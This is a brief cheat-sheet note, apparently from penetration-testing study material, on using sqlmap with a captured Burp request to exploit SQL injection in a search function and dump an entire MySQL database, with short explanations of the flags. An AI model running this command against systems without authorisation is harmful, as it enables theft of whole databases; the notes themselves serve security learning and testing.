SQL

SQLmap

(capture burp request on search function)

Sqlmap -r request.txt –dbms=mysql –dump

• -r uses request file

• –dbms specify what type of database

• –dump outputs entire database